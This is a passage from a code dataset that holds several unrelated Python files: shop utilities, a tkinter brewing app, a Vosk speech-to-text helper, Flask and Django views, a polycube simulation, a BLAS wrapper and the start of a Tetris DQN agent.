xrange(2,9) ]\n ret[1] = [ i for i in xrange(10,15)]\n ret[2] = [ i for i in xrange(16,26)]\n ret[3] = [ i for i in xrange(27,33)]\n ret[4] = [ i for i in xrange(34,42)]\n ret[5] = [ i for i in xrange(43,50)]\n ret[6] = [ i for i in xrange(51,56)]\n ret[7] = [ i for i in xrange(57,63)]\n ret[8] = [ i for i in xrange(64,69)]\n ret[9] = [ i for i in xrange(70,75)]\n\n return ret\n\ndef get_all_category():\n shop_category_dictionary = get_shop_category_dictionary()\n shop_category_tree = get_shop_category_tree()\n ret_category = []\n for i in xrange(len(shop_category_tree)):\n first_category_id = shop_category_tree[i][0]-1\n first_category_name = shop_category_dictionary[first_category_id]\n second_categories = []\n for j in xrange(len(shop_category_tree[i])):\n second_category_id = shop_category_tree[i][j]\n second_category_name = shop_category_dictionary[second_category_id]\n d = {\n 'category_id': str(second_category_id),\n 'category_name': str(second_category_name)\n }\n second_categories.append(d)\n d = {\n 'category_id': first_category_id,\n 'category_name': first_category_name,\n 'child_categories': second_categories\n }\n ret_category.append(d)\n return ret_category\n\ndef convert_price_to_won(price):\n if str(price).find(',') != -1:\n return price\n reverse_str_price = str(price)[::-1]\n ret = ''\n for i in xrange(len(reverse_str_price)):\n ret = str(reverse_str_price[i])+ret\n next_i = i+1\n if next_i < len(reverse_str_price) and next_i % 3 == 0:\n ret = ','+ret\n return ret\n\n#\n# return { 'si': [(),(),...],\n# 'gu': [(),(),...],\n# 'dong': [(),(),...] }\n#\ndef get_address_list():\n with open('/home/howsmart/howsmart/app/address.json','r') as fp:\n r = json.loads(fp.read())\n ret = {\n 'si': [('전체','전체')],\n 'gu': [('전체','전체')],\n 'dong': [('전체','전체')]\n }\n for si in r:\n ret['si'].append((si['name'],si['name']))\n for gu in si['items']:\n ret['gu'].append((gu['name'],gu['name']))\n for dong in gu['items']:\n ret['dong'].append((dong['name'],dong['name']))\n return ret\n\ndef get_area_name(area_id):\n l = [u'10평대 미만',u'10평대',u'20평대',u'30평대',u'40평대',u'50평대 이상']\n return l[int(area_id)-1];\n\ndef get_price_name(price_id):\n l = [u'5만원 미만',u'5만원 ~ 10만원',u'10만원 ~ 20만원',u'20만원 ~ 50만원',u'50만원 ~ 100만원',u'100만원 이상']\n return l[int(price_id)-1];\n\ndef get_price_range(price_id):\n l = [(0,50000),(50000,100000),(100000,200000),(200000,500000),(500000,1000000),(1000000,50000000)]\n return l[int(price_id)-1];\n","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"476286956","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom PIL import Image, ImageTk\nfrom tkinter import ttk\nimport collections\n\nLARGE_FONT = (\"Verdana\", -11)\n\nclass WindowMaker(tk.Tk):\n def __init__(self, *args, **kwargs):\n super().__init__()\n\n self.container = tk.Frame(self)\n #self.container.resizeable (0,0)\n self.container.grid()\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n\n self.frames = {}\n frame_name = [Information, Tools, Recipes, MainMenu]\n for page in frame_name:\n name=page.__name__\n frame = page(self.container, self)\n self.frames[name] = frame\n frame.grid(row=0, column=0, sticky=\"nsew\")\n\n def create_buttons(self, text1, text2, text3):\n self.button1 = tk.Label(self, text=text1, bg=\"dim gray\", font=LARGE_FONT)\n self.button2 = tk.Label(self, text=text2, bg=\"dim gray\", font=LARGE_FONT)\n self.button3 = tk.Label(self, text=text3, bg=\"dim gray\", font=LARGE_FONT)\n self.exit_button = tk.Label(self, text=\"Exit\", bg=\"dim gray\", font=LARGE_FONT)\n self.style_menu(text1, text2, text3)\n\n def style_menu(self, text1, text2, text3):\n self.button_navigation = collections.OrderedDict([(text1, self.button1), (\"Save Recipe\", self.button2),\n (\"Load Recipe\", self.button3), (\"Quit\", self.exit_button)])\n\n for value, key in enumerate(self.button_navigation):\n self.button_navigation[key].grid(column=0, row=value)\n self.button_navigation[key].config(height=8, width=24)\n self.button_navigation[key].bind(\"\", lambda event:self.enter_label(event))\n self.button_navigation[key].bind(\"\", lambda event:self.leave_label(event))\n\n def enter_label(self, event):\n event.widget.config(bg=\"gray\")\n\n def leave_label(self, event):\n event.widget.config(bg=\"dim gray\")\n\n def bind_exit(self):\n self.exit_button.bind(\"\", lambda event: self.quit_application())\n\n def bind_main_menu(self):\n self.button1.bind(\"\", lambda event: self.raise_frame(\"MainMenu\"))\n\n def raise_frame(self, page):\n frame = self.frames[page]\n frame.tkraise()\n\n def quit_application(self):\n self.controller.destroy()\n\n\nclass MainMenu(tk.Frame, WindowMaker):\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.create_buttons(\"Recipes\", \"Information\", \"Tools\")\n self.style_buttons(\"Recipes\", \"Information\", \"Tools\")\n self.beer_images()\n self.bind_exit()\n\n def beer_images(self):\n self.image_path = Image.open(\"beer.jpeg\")\n self.image_file = ImageTk.PhotoImage(self.image_path)\n self.image_label = tk.Label(self, image=self.image_file, borderwidth=0)\n self.image_label.image = self.image_file\n self.image_label.grid(row=0, column=1, rowspan=4)\n\n def style_buttons(self, page_name1, page_name2, page_name3):\n self.button1.bind(\"\", lambda event:self.click_button(event, page_name1))\n self.button2.bind(\"\", lambda event:self.click_button(event, page_name2))\n self.button3.bind(\"\", lambda event:self.click_button(event, page_name3))\n\n def click_button(self, event, page_name):\n if page_name == \"Recipes\":\n self.change_page(page_name)\n elif page_name == \"Information\":\n self.change_page(page_name)\n elif page_name == \"Tools\":\n self.change_page(page_name)\n\n def change_page(self, page_name):\n self.controller.raise_frame(page_name)\n\n\nclass Recipes(tk.Frame, WindowMaker):\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.create_buttons(\"Main Menu\", \"Save Recipe\", \"Load Recipe\")\n self.button_function = {\"MainMenu\": self.button1, \"Save Recipe\": self.button2, \"Load Recipe\": self.button3}\n self.bind_click_buttons()\n self.bind_main_menu()\n self.bind_exit()\n\n self.malt_entry = tk.Text(self, height=6, width=93)\n self.hops_entry = tk.Text(self, height=6, width=93)\n self.yeast_entry = tk.Text(self, height=6, width=93)\n self.notes_entry = tk.Text(self, height=6, width=93)\n\n self.text_entry_widgets = collections.OrderedDict([(\"Enter Malt Here...\", self.malt_entry), (\"Enter Hops Here...\", self.hops_entry),\n (\"Enter Yeast Here...\", self.yeast_entry), (\"Enter Notes Here...\", self.notes_entry)])\n\n grid=0\n for key in self.text_entry_widgets:\n self.text_widget(self.text_entry_widgets[key], key, grid)\n grid += 1\n\n def text_widget(self, entry, text_displayed, grid):\n entry.insert(\"end\", text_displayed)\n entry.grid(row=grid, column=1)\n\n def bind_click_buttons(self):\n for key, value in self.button_function.items():\n value.bind(\"\", lambda event, key=key: self.click_button(event, key))\n\n def click_button(self, event, key):\n if key == \"MainMenu\":\n self.change_page(key)\n elif key == \"Save Recipe\":\n self.save_recipe()\n elif key == \"Load Recipe\":\n self.load_recipe()\n\n def change_page(self, page_name):\n self.controller.raise_frame(page_name)\n\n def save_recipe(self):\n self.file = filedialog.asksaveasfile(mode=\"w\", defaultextension=\"txt\")\n self.file.close()\n with open(self.file.name, \"w\") as recipe_file:\n for entries in self.text_entry_widgets:\n text_save = self.text_entry_widgets[entries].get(\"1.0\", \"end-1c\")\n recipe_file.write(text_save)\n\n def load_recipe(self):\n self.file_name = filedialog.askopenfilename()\n with open(self.file_name, \"r\") as recipe_file:\n if self.malt_entry.get(\"1.0\", \"end-1c\"):\n self.malt_entry.delete(1.0, \"end\")\n self.malt_entry.insert(\"end\", str(recipe_file.read()))\n\nclass Information(tk.Frame, WindowMaker):\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller=controller\n tk.Frame.__init__(self, parent)\n\n self.create_buttons(\"Main Menu\", \"\", \"\")\n self.bind_main_menu()\n\n self.beer_images(\"hops.jpeg\", 0, 1, 2, \"https://byo.com/resources/hops\")\n self.beer_images(\"malt.jpeg\", 0, 2, 2, \"https://byo.com/resources/grains\")\n self.beer_images(\"yeast.jpeg\", 2, 1, 2, \"https://byo.com/resources/yeast\")\n self.beer_images(\"water.jpeg\", 2, 2, 2, \"https://www.google.com.au/search?q=harambe&espv=2&source=lnms&tbm=isch&sa=X&ved=0ahUKEwi3j5OGmpPOAhXDoJQKHYUHD18Q_AUICSgC&biw=1440&bih=664\")\n\n def beer_images(self, file_name, row, col, rspan, url):\n image_path = Image.open(file_name)\n image_file = ImageTk.PhotoImage(image_path)\n image_label = tk.Label(self, image=image_file, borderwidth=0)\n image_label.image = image_file\n image_label.bind(\"\", lambda event: webbrowser.open(url))\n image_label.grid(row=row, column=col, rowspan=rspan)\n\n\nclass Tools(tk.Frame, WindowMaker):\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n print(\"You are in the info page\")\n self.create_buttons(\"ABV Calculator\", \"IBU Calculator\", \"Strike Water Calculator\")\n self.bind_main_menu()\n self.bind_exit()\n\n\n\nif __name__ == '__main__':\n app = WindowMaker()\n app.resizable(width=False, height=False)\n app.title(\"Brewing App\")\n app.geometry(\"830x440\")\n app.mainloop()\n","sub_path":"practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":7778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"149796408","text":"import tkinter.scrolledtext as s\nfrom tkinter import END\nimport re\nMEETING = \"Welcome to my application I hope you enjoy it. For any questions you can write me on my email: il.vsl0110@gmail.com \\n\"\n\nclass Console:\n namespace = None\n def __init__(self, hero):\n self.curr_val = []\n self.pre_string = None\n self.hero = hero\n self.namespace = hero.vars\n self.txt = s.ScrolledText(width=100, height=15)\n self.txt.insert(1.0, MEETING)\n self.txt.bind('', lambda x: self.get_vals(x, self.curr_val if (len(self.curr_val) > 0) else None, self.namespace))\n def write(self, text):\n self.txt.insert(float(len(self.txt.get('1.0', END))), text)\n\n def get_string(self):\n return self.txt.get('1.0', END)\n\n def get_vals(self, event, names, namespace):\n self.namespace = namespace\n if names != None:\n a = self.txt.get('1.0', END)\n data = []\n for i in a.split():\n if not i in self.pre_string:\n data.append(i)\n for i in range(len(data)):\n namespace.set_var(names[i], data[i])\n self.curr_val = []\n else:\n a = self.txt.get('1.0', END).split('\\n')[-2]\n if a == 'cls':\n self.txt.delete('1.0', END)\n def destroy(self):\n self.txt.destroy()","sub_path":"Console.py","file_name":"Console.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"255155965","text":"from vosk import Model, KaldiRecognizer, SetLogLevel\nimport subprocess\nimport json\n\ndef speech_to_text(filename, model_dir='model'):\n SetLogLevel(0)\n sample_rate = 16000\n model = Model(model_dir)\n rec = KaldiRecognizer(model, sample_rate)\n\n process = subprocess.Popen(['ffmpeg', '-loglevel', 'quiet', '-i',\n filename,\n '-ar', str(sample_rate), '-ac', '1', '-f', 's16le', '-'],\n stdout=subprocess.PIPE)\n\n ret = []\n while True:\n data = process.stdout.read(4000)\n if len(data) == 0:\n break\n if rec.AcceptWaveform(data):\n r = rec.Result()\n ret.append(r)\n else:\n r = rec.PartialResult()\n ret.append(r)\n ret.append(rec.FinalResult())\n\n ret = [json.loads(i) for i in ret]\n ret = [i for i in ret if 'result' in i]\n ret = [i['text'] for i in ret]\n\n result_string = '. '.join(ret)\n return result_string","sub_path":"speech_recognizer/spech2text.py","file_name":"spech2text.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"542726417","text":"## Imports\nfrom flask import Flask, render_template, request\nfrom contact import contactPage\nfrom search import searchPage\n\n\n## Register the Contact Form in the Main\napp = Flask(__name__)\napp.register_blueprint(contactPage, url_prefix=\"\")\napp.register_blueprint(searchPage, url_prefix=\"\")\n\n@app.errorhandler(404) \ndef invalid_route(e): \n return render_template('404.html') \nif __name__ == '__main__':\n app.run(debug=True,threaded=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"62186000","text":"import re\r\n\r\nfrom django.shortcuts import render, get_object_or_404, render_to_response\r\nfrom django.http import Http404\r\nfrom django.core import serializers\r\n\r\n# Create your views here.\r\n\r\nfrom django.http import HttpResponse\r\nfrom django.views.generic import ListView, TemplateView\r\nfrom django.core.paginator import PageNotAnInteger, Paginator, EmptyPage\r\n\r\nfrom .models import Information\r\n\r\n\r\nclass IndexView(TemplateView):\r\n template_name = 'search/index.html'\r\n\r\nclass AboutView(TemplateView):\r\n template_name = 'search/about.html'\r\n\r\nclass InstructionView(TemplateView):\r\n template_name = 'search/instruction.html'\r\n\r\ndef search_list(request):\r\n search_key = request.GET.get('search_key')\r\n search_type = request.GET.get('search_type')\r\n\r\n # Get Search Type and Values\r\n if request.method == 'POST' and len(request.POST['search_values']) > 0:\r\n search_values = request.POST['search_values']\r\n try:\r\n matchObj = re.match(r\"^([^=]+)=([^\\n]+)\", search_values)\r\n search_type = matchObj.group(1)\r\n search_key = matchObj.group(2)\r\n except:\r\n error = {'message': '无法理解你的意思呢...'}\r\n return render(request, 'search/index.html', {'error': error})\r\n\r\n if search_type == 'ip':\r\n whois = Information.objects(inetnum__icontains=search_key) # 不区分大小写的包含匹配\r\n elif search_type == 'netname':\r\n whois = Information.objects(netname__icontains=search_key)\r\n elif search_type == 'country':\r\n whois = Information.objects(country__iexact=search_key) # 不区分大小写的完全匹配\r\n elif search_type == 'source':\r\n whois = Information.objects(source__iexact=search_key)\r\n elif search_type == 'descr':\r\n whois = Information.objects(descr__icontains=search_key)\r\n else:\r\n whois = Information.objects.all()\r\n paginator = Paginator(whois, 25) # Show 25 contacts per page\r\n page = request.GET.get('page')\r\n try:\r\n contacts = paginator.page(page)\r\n except PageNotAnInteger:\r\n # If page is not an integer, deliver first page.\r\n contacts = paginator.page(1)\r\n except EmptyPage:\r\n # If page is out of range (e.g. 9999), deliver last page of results.\r\n contacts = paginator.page(paginator.num_pages)\r\n return render_to_response('search/search_list.html',\r\n {\"contacts\": contacts, 'search_key': search_key, 'search_type': search_type})\r\n","sub_path":"search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"345317522","text":"# todo: approximate (using Monte-Carlo method) and plot the distribution of number_of_neighbors as a function of the number_of_elements\n\nimport queue\nimport random\nimport sys\nfrom multiprocessing import Pool\n\nimport numpy as np\n\nfrom aggregate import AGGREGATE\n\ndebug = True\nBLOCK = 1\nAIR = 2\n\n\nclass Air(object):\n AIR_UNKOWN = 1\n AIR_EXTERNAL = 2\n AIR_INTERNAL = 3\n\n def __init__(self, position):\n self.position = position # a tuple of (x,y,z)\n self.type = Air.AIR_UNKOWN\n\n\nclass Block(object):\n def __init__(self, position, connections):\n self.position = position # a tuple of (x,y,z)\n self.connections = connections # a list of tuples of (x,y,z) positions of neighboring cubes\n self.connection_count = len(self.connections)\n\n\ndef get_aggregate(node_cnt):\n return AGGREGATE(None, [None], node_cnt, no_sim=True).tree\n\n\ndef compute_interior_nodes(node_cnt):\n # get the structure\n structure = get_aggregate(node_cnt)\n\n # find bounding box\n x_max_node = None\n x_min, x_max = 0, 0\n y_min, y_max = 0, 0\n z_min, z_max = 0, 0\n\n for x, y, z in structure:\n # print(x,y,z)\n if x < x_min:\n x_min = x\n elif x >= x_max:\n x_max = x\n x_max_node = (x, y, z)\n\n if y < y_min:\n y_min = y\n elif y > y_max:\n y_max = y\n\n if z < z_min:\n z_min = z\n elif z > z_max:\n z_max = z\n # print(x_min, x_max)\n # print(y_min, y_max)\n # print(z_min, z_max)\n\n # calc size of matrix\n x_size = x_max - x_min + 3\n y_size = y_max - y_min + 3\n z_size = z_max - z_min + 3\n\n # compute offsets\n x_offset = -1 * x_min + 1\n y_offset = -1 * y_min + 1\n z_offset = -1 * z_min + 1\n\n # reserve matrix\n matrix = np.zeros(shape=(x_size, y_size, z_size), dtype=object)\n\n node_queue_1 = queue.Queue() # queue of Block Objects\n node_queue_2 = queue.Queue() # queue of Block Objects\n\n air_queue = queue.Queue() # queue of Air Objects\n\n to_evaluate_queue = queue.Queue() # queue of tuples of coordinates\n\n # Add connection to parent node for each node. Runs in O(36n)=O(n) time\n for node in structure:\n for child in structure[node]: # max of 6 children\n if node not in structure[child]: # list so traverse; max of 6 connections.\n structure[child].append(node)\n\n # fill in the matrix with nodes & fill queues with nodes\n for x, y, z in structure:\n node = (x + x_offset, y + y_offset, z + z_offset)\n # print(node)\n tmp = Block(node, structure[(x,y,z)])\n matrix[node] = (BLOCK, tmp)\n node_queue_1.put(node) # used to construct neighboring air search space\n node_queue_2.put(tmp) # used to determine interior nodes\n # print(matrix)\n\n # Add air nodes to matrix + fill air_queue\n while not node_queue_1.empty():\n node = node_queue_1.get()\n x, y, z = node\n\n # add neighboring cells to air queue if they are empty and valid cells.\n # x neighbors\n for i in range(-1, 2):\n for j in range(-1, 2):\n for k in range(-1, 2):\n if x + i < 0 or x + i >= x_size:\n continue\n if y + j < 0 or y + j >= y_size:\n continue\n if z + k < 0 or z + k >= z_size:\n continue\n if matrix[x + i, y + j, z + k] != 0:\n continue\n # create new Air Object + add to queue and matrix\n tmp_air = Air((x + i, y + j, z + k))\n air_queue.put(tmp_air)\n matrix[(x + i, y + j, z + k)] = (AIR, tmp_air)\n\n\n # determine which node is guarenteed to be an exterior node. Start here\n x, y, z = x_max_node\n node = (x + x_offset+1, y + y_offset, z + z_offset)\n # print(\"shape\", matrix.shape)\n # print(x_max_node)\n # print(\"Priming: %s to be AIR_EXTERNAL\"%str(node))\n tmp_air = matrix[node]\n tmp_air[1].type = Air.AIR_EXTERNAL\n to_evaluate_queue.put(tmp_air[1])\n\n continue_looping = not to_evaluate_queue.empty()\n # flood local air to determine which cells are external air\n while continue_looping:\n curr_cell = to_evaluate_queue.get()\n # print(\"evaluating: %s\" %str(curr_cell.position))\n x, y, z = curr_cell.position\n\n # x neighbors\n for i in [-1, 1]:\n if x + i < 0 or x + i >= x_size:\n # print(\"out of scope\")\n continue\n cell = matrix[x + i, y, z]\n if cell == 0 or cell[0] == BLOCK or cell[1].type == Air.AIR_EXTERNAL:\n # print(cell)\n # print(\"not unknown air.\")\n continue\n cell[1].type = Air.AIR_EXTERNAL\n to_evaluate_queue.put(cell[1])\n\n # y neighbors\n for i in [-1, 1]:\n if y + i < 0 or y + i >= y_size:\n # print(\"out of scope\")\n continue\n cell = matrix[x, y + i, z]\n if cell == 0 or cell[0] == BLOCK or cell[1].type == Air.AIR_EXTERNAL:\n # print(cell)\n # print(\"not unknown air.\")\n continue\n\n cell[1].type = Air.AIR_EXTERNAL\n to_evaluate_queue.put(cell[1])\n\n # z neighbors\n for i in [-1, 1]:\n if z + i < 0 or z + i >= z_size:\n # print(\"out of scope\")\n continue\n cell = matrix[x, y, z + i]\n if cell == 0 or cell[0] == BLOCK or cell[1].type == Air.AIR_EXTERNAL:\n # print(cell)\n # print(\"not unknown air.\")\n continue\n cell[1].type = Air.AIR_EXTERNAL\n\n to_evaluate_queue.put(cell[1])\n continue_looping = not to_evaluate_queue.empty()\n\n node_neighbor_cnt_queue = queue.Queue()\n\n while not node_queue_2.empty():\n curr_cell = node_queue_2.get()\n # print(\"Considering:\", curr_cell.position)\n x, y, z = curr_cell.position\n\n # x neighbors\n for i in [-1, 1]:\n if x + i < 0 or x + i >= x_size:\n continue\n cell = matrix[x + i, y, z]\n if debug:\n assert cell != 1, \"Invalid cell type.\"\n if cell[0] == AIR and cell[1].type != Air.AIR_EXTERNAL:\n # print(cell[1].position, cell[1].type)\n curr_cell.connection_count += 1\n\n # y neighbors\n for i in [-1, 1]:\n if y + i < 0 or y + i >= y_size:\n continue\n cell = matrix[x, y + i, z]\n if debug:\n assert cell != 1, \"Invalid cell type.\"\n if cell[0] == AIR and cell[1].type != Air.AIR_EXTERNAL:\n # print(cell[1].position, cell[1].type)\n curr_cell.connection_count += 1\n\n # z neighbors\n for i in [-1, 1]:\n if z + i < 0 or z + i >= x_size:\n continue\n cell = matrix[x, y, z + i]\n if debug:\n assert cell != 1, \"Invalid cell type.\"\n if cell[0] == AIR and cell[1].type != Air.AIR_EXTERNAL:\n # print(cell[1].position, cell[1].type)\n curr_cell.connection_count += 1\n\n node_neighbor_cnt_queue.put(curr_cell.connection_count)\n\n neighbor_frequencies = np.zeros(shape=6)\n while not node_neighbor_cnt_queue.empty():\n neighbor_cnt = node_neighbor_cnt_queue.get()\n if neighbor_cnt == 0:\n continue\n neighbor_frequencies[neighbor_cnt - 1] += 1\n\n return neighbor_frequencies\n\n\ndef get_neighbor_counts(node_cnt):\n # generate aggregate\n structure = get_aggregate(node_cnt)\n\n # remove the origin. Each node has 1 parent except the origin which has none.\n origin = structure.pop((0, 0, 0))\n\n # calculate neighbor counts\n # each node has 1 parent with the exception of the origin which has 0 parents.\n neighbor_counts = [len(d) + 1 for d in\n structure.values()]\n # add the origin back in\n neighbor_counts.append(len(origin))\n\n # if in debug, assert truth values\n if debug:\n if node_cnt > 1:\n assert (min(neighbor_counts) > 0), \"Error with generating polycube\"\n else:\n assert (min(neighbor_counts) >= 0), \"Error with generating polycube\"\n assert (max(neighbor_counts) < 7), \"Error with generating polycube\"\n\n # calculate neighbor frequencies\n neighbor_frequencies = np.zeros(shape=6)\n # print(neighbor_counts)\n for n in neighbor_counts:\n if n == 0:\n continue\n neighbor_frequencies[n - 1] += 1\n return neighbor_frequencies\n\n\ndef compute_work(node_cnt, iteration_number, ttl_iteration_cnt, seed_offset=0):\n \"\"\"\n wrapper method for get_neighbor_counts which also sets the seed + keeps track of which iteration this is.\n :param node_cnt: number of nodes to include in our polynode\n :param iteration_number: which iteration we are running\n :param ttl_iteration_cnt: total number of iterations we plan to run. Needed for seeding calculations\n :param seed_offset: how to adjust the seed.\n :return: tuple of node_cnt, iteration_number, and the frequency of num neighbors\n \"\"\"\n # TODO: Decide if this seeding is good or not.\n random.seed(seed_offset + iteration_number + node_cnt * ttl_iteration_cnt)\n neighbor_frequencies = compute_interior_nodes(node_cnt)\n neighbor_frequencies /= node_cnt\n return node_cnt, iteration_number, neighbor_frequencies\n\n\nif __name__ == \"__main__\":\n # compute_interior_nodes(10)\n # exit(0)\n assert len(\n sys.argv) >= 3, \"Please run as python NAME.py \" \\\n \" \"\n num_iterations = int(sys.argv[2])\n ttl_node_count = int(sys.argv[1])\n\n # num_iterations = 1\n # ttl_node_count = 4\n if len(sys.argv) == 4:\n global_seed_offset = int(sys.argv[3])\n else:\n global_seed_offset = 0\n\n np.set_printoptions(suppress=True, formatter={'float_kind': lambda x: '%5.2f' % x})\n\n data = np.zeros(shape=(num_iterations, 6))\n\n # used for parallel computation\n process_count = 12\n pool = Pool(processes=process_count)\n\n # compute the work\n iterations_list = range(num_iterations)\n res = [pool.apply_async(compute_work, args=(ttl_node_count, iter_num, num_iterations, global_seed_offset)) for iter_num in iterations_list]\n for n, r in enumerate(res):\n node_count, iter_num, ret = r.get()\n data[iter_num] = ret\n if n%1000 == 0:\n sys.stdout.write(\"/n%d/n\"%(n//1000))\n sys.stdout.flush()\n pool.close()\n pool.join()\n \n import pickle\n with open(\"%d_cubes_%d_iterations.p\"%(ttl_node_count, num_iterations), \"wb\") as f:\n pickle.dump(data, f)\n","sub_path":"approx_dist_of_num_of_neighbors.py","file_name":"approx_dist_of_num_of_neighbors.py","file_ext":"py","file_size_in_byte":10936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"943270","text":"\"\"\"\n\n Copyright (c) 2014-2015-2015, The University of Texas at Austin.\n All rights reserved.\n\n This file is part of BLASpy and is available under the 3-Clause\n BSD License, which can be found in the LICENSE file at the top-level\n directory or at http://opensource.org/licenses/BSD-3-Clause\n\n\"\"\"\n\nfrom ..helpers import (get_vector_dimensions, get_square_matrix_dimension, get_cblas_info,\n check_equal_sizes, create_zero_matrix, convert_uplo, ROW_MAJOR)\nfrom ctypes import c_int, POINTER\n\n\ndef syr2(x, y, A=None, uplo='u', alpha=1.0, lda=None, inc_x=1, inc_y=1):\n \"\"\"\n Perform a symmetric rank-2 update operation.\n\n A := A + alpha * x * y_T + alpha * y * x_T\n\n where alpha is a scalar, A is a symmetric matrix, and x and y are general column vectors.\n\n The uplo argument indicates whether the lower or upper triangle of A is to be referenced and\n updated by the operation.\n\n Vectors x and y can be passed in as either row or column vectors. If necessary, an implicit\n transposition occurs.\n\n If matrix A is not provided, a zero matrix of the appropriate size and type is created\n and returned. In such a case, lda is automatically set to the number of columns in the\n newly created matrix A.\n\n Args:\n x: 2D NumPy matrix or ndarray representing vector x\n y: 2D NumPy matrix or ndarray representing vector y\n\n --optional arguments--\n\n A: 2D NumPy matrix or ndarray representing matrix A\n < default is the zero matrix >\n uplo: 'u' if the upper triangle of A is to be used\n 'l' if the lower triangle of A is to be used\n < default is 'u' >\n alpha: scalar alpha\n < default is 1.0 >\n lda: leading dimension of A (must be >= # of cols in A)\n < default is the number of columns in A >\n inc_x: stride of x (increment for the elements of x)\n < default is 1 >\n inc_y: stride of y (increment for the elements of y)\n < default is 1 >\n\n Returns:\n Matrix A (which is also overwritten)\n\n Raises:\n ValueError: if any of the following conditions occur:\n - A, x, or y is not a 2D NumPy ndarray or NumPy matrix\n - A, x, and y do not have the same dtype or that dtype is not supported\n - x or y is not a vector\n - the effective length of either x or y does not conform to the dimensions of A\n - uplo is not equal to one of the following: 'u', 'U', 'l', 'L'\n \"\"\"\n\n # get the dimensions of the parameters\n m_x, n_x, x_length = get_vector_dimensions('x', x, inc_x)\n m_y, n_y, y_length = get_vector_dimensions('y', y, inc_y)\n\n # if no matrix A is given, create a zero matrix of appropriate size with the same dtype as x\n if A is None:\n A = create_zero_matrix(x_length, x_length, x.dtype, type(x))\n lda = None\n\n # continue getting dimensions of the parameters\n dim_A = get_square_matrix_dimension('A', A)\n\n # assign a default value to lda if necessary (assumes row-major order)\n if lda is None:\n lda = dim_A\n\n # ensure the parameters are appropriate for the operation\n check_equal_sizes('A', dim_A, 'x', x_length)\n check_equal_sizes('A', dim_A, 'y', y_length)\n\n # convert to appropriate CBLAS value\n cblas_uplo = convert_uplo(uplo)\n\n # determine which CBLAS subroutine to call and which ctypes data type to use\n cblas_func, data_type = get_cblas_info('syr2', (A.dtype, x.dtype, y.dtype))\n\n # create a ctypes POINTER for each vector and matrix\n ctype_x = POINTER(data_type * n_x * m_x)\n ctype_y = POINTER(data_type * n_y * m_y)\n ctype_A = POINTER(data_type * dim_A * dim_A)\n\n # call CBLAS using ctypes\n cblas_func.argtypes = [c_int, c_int, c_int, data_type, ctype_x, c_int, ctype_y, c_int,\n ctype_A, c_int]\n cblas_func.restype = None\n cblas_func(ROW_MAJOR, cblas_uplo, dim_A, alpha, x.ctypes.data_as(ctype_x), inc_x,\n y.ctypes.data_as(ctype_y), inc_y, A.ctypes.data_as(ctype_A), lda)\n\n return A # A is also overwritten, so only useful if no A was provided","sub_path":"blaspy/level_2/syr2.py","file_name":"syr2.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"487032786","text":"import sys\nimport os\n\nfolder = sys.argv[1]\nfiles = os.listdir(folder)\ngroups = [\"first\", \"second\", \"third\"]\ncounter = -1\ndivider = len(files) / 3 + 1\nfor file in files:\n\tif os.path.isdir(folder + \"/\" + file):\n\t\tcontinue\n\tcounter += 1\n\twith open(folder + \"/\" + file) as f:\n\t\tlines = f.readlines()\n\t\tlines = [x.strip() for x in lines]\n\t\tfolderName = groups[counter / divider]\n\t\tif not os.path.exists(folder + \"/\" + folderName):\n\t\t\tos.makedirs(folder + \"/\" + folderName)\n\t\tcount = 0\n\t\tfor line in lines:\n\t\t\tif line.split(\",\")[0] == 'id':\n\t\t\t\tcount = 1\n\t\t\t\tfilename = line.split(\",\")[1]\n\t\t\telif count == 0:\n\t\t\t\tbreak\n\t\t\twith open(folder + \"/\" + folderName + \"/\" + filename, 'a+') as tempFile:\n\t\t\t\ttempFile.write(line + \"\\n\");","sub_path":"DataScripts/downloadScripts/splitPlaysByGames.py","file_name":"splitPlaysByGames.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"579399965","text":"\"\"\"\nTHis is the DQN file for Tetris AI\n\"\"\"\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport numpy as np\nimport cpprb\n\n\nnp.random.seed(0)\n\nclass Network(nn.Module):\n def __init__(self, alpha, inputShape, numActions):\n super().__init__()\n self.inputShape = inputShape\n self.numActions = numActions\n self.fc1Dims = 1024\n self.fc2Dims = 512\n\n self.fc1 = nn.Linear(*self.inputShape, self.fc1Dims)\n self.fc2 = nn.Linear(self.fc1Dims, self.fc2Dims)\n self.fc3 = nn.Linear(self.fc2Dims, numActions)\n\n self.optimizer = optim.Adam(self.parameters(), lr=alpha)\n self.loss = nn.MSELoss()\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n # self.device = T.device(\"cpu\")\n self.to(self.device)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = self.fc2(x)\n x = self.fc3(x)\n\n return x\n\nclass Agent():\n def __init__(self, lr, input_shape, n_actions, eps_dec=0.001, 